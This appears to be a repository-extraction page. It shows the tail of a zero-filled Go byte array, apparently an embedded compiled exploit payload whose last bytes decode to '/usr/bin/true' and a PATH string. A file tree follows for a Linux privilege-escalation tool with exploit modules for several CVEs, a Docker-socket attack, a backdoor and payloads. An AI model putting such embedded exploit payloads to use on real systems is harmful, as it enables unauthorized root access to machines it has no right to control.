  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  47, 117, 115, 114, 47, 98, 105, 110, 47, 116, 114, 117, 101, 0, 0, 0,
  80, 65, 84, 72, 61, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
  115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108
Download .txt
gitextract_h4e8y7u2/

├── .github/
│   ├── FUNDING.yml
│   └── workflows/
│       ├── antispam.yml
│       ├── pr.yml
│       └── release.yml
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── cmd/
│   ├── pack/
│   │   └── main.go
│   └── traitor/
│       └── main.go
├── go.mod
├── go.sum
├── internal/
│   ├── cmd/
│   │   ├── backdoor.go
│   │   ├── list.go
│   │   ├── root.go
│   │   └── setuid.go
│   ├── pipe/
│   │   └── pipe.go
│   └── version/
│       └── version.go
├── pkg/
│   ├── backdoor/
│   │   └── traitor.go
│   ├── exploits/
│   │   ├── all.go
│   │   ├── cve20213560/
│   │   │   └── exploit.go
│   │   ├── cve20214034/
│   │   │   ├── exploit.go
│   │   │   ├── sharedobject_sh_386.go
│   │   │   ├── sharedobject_sh_amd64.go
│   │   │   ├── sharedobject_sh_arm64.go
│   │   │   ├── sharedobject_true_386.go
│   │   │   ├── sharedobject_true_amd64.go
│   │   │   └── sharedobject_true_arm64.go
│   │   ├── cve20220847/
│   │   │   └── exploit.go
│   │   ├── dockersock/
│   │   │   └── exploit.go
│   │   ├── gtfobins.go
│   │   ├── registration.go
│   │   └── types.go
│   ├── logger/
│   │   └── logger.go
│   ├── payloads/
│   │   └── payloads.go
│   ├── random/
│   │   └── filename.go
│   ├── shell/
│   │   └── password.go
│   └── state/
│       ├── distro.go
│       ├── kernel.go
│       ├── packages.go
│       ├── state.go
│       └── sudoers.go
└── vendor/
    ├── github.com/
    │   ├── creack/
    │   │   └── pty/
    │   │       ├── .gitignore
    │   │       ├── Dockerfile.golang
    │   │       ├── Dockerfile.riscv
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── asm_solaris_amd64.s
    │   │       ├── doc.go
    │   │       ├── ioctl.go
    │   │       ├── ioctl_bsd.go
    │   │       ├── ioctl_solaris.go
    │   │       ├── ioctl_unsupported.go
    │   │       ├── mktypes.bash
    │   │       ├── pty_darwin.go
    │   │       ├── pty_dragonfly.go
    │   │       ├── pty_freebsd.go
    │   │       ├── pty_linux.go
    │   │       ├── pty_netbsd.go
    │   │       ├── pty_openbsd.go
    │   │       ├── pty_solaris.go
    │   │       ├── pty_unsupported.go
    │   │       ├── run.go
    │   │       ├── start.go
    │   │       ├── start_windows.go
    │   │       ├── test_crosscompile.sh
    │   │       ├── winsize.go
    │   │       ├── winsize_unix.go
    │   │       ├── winsize_unsupported.go
    │   │       ├── ztypes_386.go
    │   │       ├── ztypes_amd64.go
    │   │       ├── ztypes_arm.go
    │   │       ├── ztypes_arm64.go
    │   │       ├── ztypes_dragonfly_amd64.go
    │   │       ├── ztypes_freebsd_386.go
    │   │       ├── ztypes_freebsd_amd64.go
    │   │       ├── ztypes_freebsd_arm.go
    │   │       ├── ztypes_freebsd_arm64.go
    │   │       ├── ztypes_freebsd_ppc64.go
    │   │       ├── ztypes_loong64.go
    │   │       ├── ztypes_mipsx.go
    │   │       ├── ztypes_netbsd_32bit_int.go
    │   │       ├── ztypes_openbsd_32bit_int.go
    │   │       ├── ztypes_ppc64.go
    │   │       ├── ztypes_ppc64le.go
    │   │       ├── ztypes_riscvx.go
    │   │       └── ztypes_s390x.go
    │   ├── google/
    │   │   └── uuid/
    │   │       ├── .travis.yml
    │   │       ├── CONTRIBUTING.md
    │   │       ├── CONTRIBUTORS
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── dce.go
    │   │       ├── doc.go
    │   │       ├── hash.go
    │   │       ├── marshal.go
    │   │       ├── node.go
    │   │       ├── node_js.go
    │   │       ├── node_net.go
    │   │       ├── null.go
    │   │       ├── sql.go
    │   │       ├── time.go
    │   │       ├── util.go
    │   │       ├── uuid.go
    │   │       ├── version1.go
    │   │       └── version4.go
    │   ├── hashicorp/
    │   │   └── go-version/
    │   │       ├── CHANGELOG.md
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── constraint.go
    │   │       ├── version.go
    │   │       └── version_collection.go
    │   ├── inconshreveable/
    │   │   └── mousetrap/
    │   │       ├── LICENSE
    │   │       ├── README.md
    │   │       ├── trap_others.go
    │   │       ├── trap_windows.go
    │   │       └── trap_windows_1.4.go
    │   ├── liamg/
    │   │   └── tml/
    │   │       ├── .gitignore
    │   │       ├── .travis.yml
    │   │       ├── LICENSE
    │   │       ├── Makefile
    │   │       ├── README.md
    │   │       ├── disable.go
    │   │       ├── new_line.go
    │   │       ├── parse.go
    │   │       ├── parser.go
    │   │       ├── printf.go
    │   │       ├── println.go
    │   │       ├── sprintf.go
    │   │       └── tags.go
    │   └── spf13/
    │       ├── cobra/
    │       │   ├── .gitignore
    │       │   ├── .golangci.yml
    │       │   ├── .mailmap
    │       │   ├── CONDUCT.md
    │       │   ├── CONTRIBUTING.md
    │       │   ├── LICENSE.txt
    │       │   ├── MAINTAINERS
    │       │   ├── Makefile
    │       │   ├── README.md
    │       │   ├── active_help.go
    │       │   ├── active_help.md
    │       │   ├── args.go
    │       │   ├── bash_completions.go
    │       │   ├── bash_completions.md
    │       │   ├── bash_completionsV2.go
    │       │   ├── cobra.go
    │       │   ├── command.go
    │       │   ├── command_notwin.go
    │       │   ├── command_win.go
    │       │   ├── completions.go
    │       │   ├── fish_completions.go
    │       │   ├── fish_completions.md
    │       │   ├── flag_groups.go
    │       │   ├── powershell_completions.go
    │       │   ├── powershell_completions.md
    │       │   ├── projects_using_cobra.md
    │       │   ├── shell_completions.go
    │       │   ├── shell_completions.md
    │       │   ├── user_guide.md
    │       │   ├── zsh_completions.go
    │       │   └── zsh_completions.md
    │       └── pflag/
    │           ├── .gitignore
    │           ├── .travis.yml
    │           ├── LICENSE
    │           ├── README.md
    │           ├── bool.go
    │           ├── bool_slice.go
    │           ├── bytes.go
    │           ├── count.go
    │           ├── duration.go
    │           ├── duration_slice.go
    │           ├── flag.go
    │           ├── float32.go
    │           ├── float32_slice.go
    │           ├── float64.go
    │           ├── float64_slice.go
    │           ├── golangflag.go
    │           ├── int.go
    │           ├── int16.go
    │           ├── int32.go
    │           ├── int32_slice.go
    │           ├── int64.go
    │           ├── int64_slice.go
    │           ├── int8.go
    │           ├── int_slice.go
    │           ├── ip.go
    │           ├── ip_slice.go
    │           ├── ipmask.go
    │           ├── ipnet.go
    │           ├── string.go
    │           ├── string_array.go
    │           ├── string_slice.go
    │           ├── string_to_int.go
    │           ├── string_to_int64.go
    │           ├── string_to_string.go
    │           ├── uint.go
    │           ├── uint16.go
    │           ├── uint32.go
    │           ├── uint64.go
    │           ├── uint8.go
    │           └── uint_slice.go
    ├── golang.org/
    │   └── x/
    │       ├── crypto/
    │       │   ├── AUTHORS
    │       │   ├── CONTRIBUTORS
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   └── ssh/
    │       │       └── terminal/
    │       │           └── terminal.go
    │       ├── sys/
    │       │   ├── AUTHORS
    │       │   ├── CONTRIBUTORS
    │       │   ├── LICENSE
    │       │   ├── PATENTS
    │       │   ├── internal/
    │       │   │   └── unsafeheader/
    │       │   │       └── unsafeheader.go
    │       │   ├── plan9/
    │       │   │   ├── asm.s
    │       │   │   ├── asm_plan9_386.s
    │       │   │   ├── asm_plan9_amd64.s
    │       │   │   ├── asm_plan9_arm.s
    │       │   │   ├── const_plan9.go
    │       │   │   ├── dir_plan9.go
    │       │   │   ├── env_plan9.go
    │       │   │   ├── errors_plan9.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── mksysnum_plan9.sh
    │       │   │   ├── pwd_go15_plan9.go
    │       │   │   ├── pwd_plan9.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── str.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_plan9.go
    │       │   │   ├── zsyscall_plan9_386.go
    │       │   │   ├── zsyscall_plan9_amd64.go
    │       │   │   ├── zsyscall_plan9_arm.go
    │       │   │   └── zsysnum_plan9.go
    │       │   ├── unix/
    │       │   │   ├── .gitignore
    │       │   │   ├── README.md
    │       │   │   ├── affinity_linux.go
    │       │   │   ├── aliases.go
    │       │   │   ├── asm_aix_ppc64.s
    │       │   │   ├── asm_bsd_386.s
    │       │   │   ├── asm_bsd_amd64.s
    │       │   │   ├── asm_bsd_arm.s
    │       │   │   ├── asm_bsd_arm64.s
    │       │   │   ├── asm_linux_386.s
    │       │   │   ├── asm_linux_amd64.s
    │       │   │   ├── asm_linux_arm.s
    │       │   │   ├── asm_linux_arm64.s
    │       │   │   ├── asm_linux_loong64.s
    │       │   │   ├── asm_linux_mips64x.s
